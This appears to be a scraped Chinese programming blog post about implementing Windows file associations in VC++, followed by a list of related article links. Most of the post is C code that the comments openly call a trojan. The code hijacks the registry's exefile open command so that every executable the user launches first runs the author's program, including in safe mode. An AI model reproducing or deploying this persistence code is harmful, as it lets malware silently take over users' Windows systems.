VC++实现文件关联
来源:互联网 发布:java classpath变量值 编辑:程序博客网 时间:2024/06/06 00:27
文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系。举个例子来说,位图文件(BMP文件)在Windows中的默认关联程序是“画图”,如果将其默认关联改为用ACDSee程序来打开,那么ACDSee就成了它的默认关联程序。
一个文件可以与多个应用程序发生关联。我们可以利用文件的“打开方式”进行关联选择。我们也可以删除因误操作而引起的错误文件关联,可以根据需要新建文件关联,在有些软件中还可以恢复文件的关联。
文件关联也是很多流行病毒、木马经常利用的隐藏和自动运行手段。
#include <stdio.h>#include <windows.h>int main(int argc,char *argv[]){MessageBox(NULL,"Hello",NULL,MB_OK);char temp[256];memset(temp,0,256);if(argc!=1){int length =strlen(argv[1]);char *ch=(char *)malloc(length);strcpy(ch,argv[1]);for(int i=0;i<length;i++,ch++){if(*ch=='\\')strncat(temp,"\\\\",2);else strncat(temp,ch,1);}}//上面的函数是把字符串中所有的"\"变为"\\"char str[]="\"%1\" %*"; RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)str,strlen(str)+1);// 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序//在程序执行完成后,再把注册表改为我们要启动的木马程序的TCHAR filename[256];// 得到程序全路径名GetModuleFileName( NULL, filename, 255 );strcat(filename," \"%1\" %*");RegSetValue(HKEY_CLASSES_ROOT,"exefile\\shell\\open\\command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。 return 0;}
- vc++实现文件关联
- VC 实现文件关联
- vc++实现文件关联
- VC 实现文件关联
- VC++实现文件关联
- vc++实现文件关联
- Windows文件关联和VC实现
- VC 实现文件与应用程序关联
- 转:Windows文件关联和VC实现
- VC文件关联小结
- VC文件关联小结
- VC文件关联小结
- VC文件关联小结
- VC文件关联小结
- VC注册表文件关联,图标关联
- VC注册表文件关联,图标关联
- VC注册表文件关联,图标关联
- VC注册表文件关联,图标关联
- JavaScript编程风格和一些注意事项
- 世界是平的
- HTML5应用之文件拖拽上传
- Rescheduling Interrupts
- exp/imp导出导入功能对job的的影响
- VC++实现文件关联
- 句柄(handle)类
- centos Apache、php、mysql默认安装路径
- 管理类中的指针成员
- 用U盘安装Linux系统的简单方法
- 各种语言下 static 详解
- php程序员面试题第一季
- VC++实现DDos
- /dev/null 2>&1 详解